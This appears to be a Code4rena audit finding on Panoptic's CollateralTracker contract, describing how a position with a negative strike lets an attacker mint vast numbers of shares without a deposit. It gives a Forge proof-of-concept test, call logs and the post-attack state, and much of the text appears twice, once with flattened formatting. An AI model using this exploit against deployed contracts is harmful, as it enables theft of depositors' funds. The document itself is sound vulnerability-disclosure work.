An attacker can mint large amount of shares in the CollateralTracker with no deposit simply by placing a carefully constructed position.
Proof of Concept
Unfortunately, I didn't have much time to research this exploit in depth, there may be other ways to reproduce it, and it's exact nature is unknown to me. I'll just leave steps to reproduce this bug and some of my speculations on it's origin below.
We start with a clear pool, totalSupply = 10e6, totalAssets = 1, the forge test is PanopticPool.t.sol:
function test_FreeMint(
) public {
uint256 x = 111;
_initPool(x);
// It seems like a negative strike value causes the bug, the lower the strike the number of shares minted
TokenId tokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(0,1,1,0,0,0,-300000,5760000);
TokenId[] memory posIdList = new TokenId[](1);
posIdList[0] = tokenId;
console.log("\nSTART MINT\n");
console.log("SHARES BEFORE: ", ct0.balanceOf(Alice));
// Attacker sends tokens directly to the PP
deal(token0, address(pp), 100000);
deal(token1, address(pp), 100000);
// Deposit in CT1 so we are solvent
ct1.deposit(100e18, Alice);
// Mint a position in PP
pp.mintOptions(posIdList, 100000, 0, 0, 0);
console.log("SHARES AFTER: ", ct0.balanceOf(Alice));
}
In the following test, Alice starts with 0 shares, donates 100000 underlying tokens to the PP and mints a position, after this her balance is 1065765340334735623000000.
Some logs:
On position mint the pool calls collateral tracker takeCommissionAddData function with following parameters:
longAmount = 0
shortAmount = 1067045795289168526
swappedAmount = 85917
It appears that a huge shortAmount allows minting tokens to the caller
liquidity = 6379635286082
It seems like the error originates here, since the actual moved amounts are way smaller, see swappedAmount that is received when position is minted in SFPM.
State of the collateral tracker after attack
s_poolAssets = 340282366920938463463374607431768125538
s_inAMM = 1067045795289168526
totalAssets = 1067045795289082608
Lines of code
https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/CollateralTracker.sol#L995-L1033
Vulnerability details
Impact
An attacker can mint large amount of shares in the CollateralTracker with no deposit simply by placing a carefully constructed position.
Proof of Concept
Unfortunately, I didn't have much time to research this exploit in depth, there may be other ways to reproduce it, and it's exact nature is unknown to me. I'll just leave steps to reproduce this bug and some of my speculations on it's origin below.
We start with a clear pool,
totalSupply
= 10e6,totalAssets
= 1, the forge test isPanopticPool.t.sol
:In the following test, Alice starts with 0 shares, donates 100000 underlying tokens to the PP and mints a position, after this her balance is 1065765340334735623000000.
Some logs: On position mint the pool calls collateral tracker
takeCommissionAddData
function with following parameters:The returned tokenToPay value is -1065765340334735623.
https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/PanopticPool.sol#L712-L713 https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/libraries/PanopticMath.sol#L591-L596 shortAmount is received from
PanopticMath.getAmountsMoved
:State of the collateral tracker after attack s_poolAssets = 340282366920938463463374607431768125538 s_inAMM = 1067045795289168526 totalAssets = 1067045795289082608
Tools Used
Forge
Recommended Mitigation Steps
-
Assessed type
Error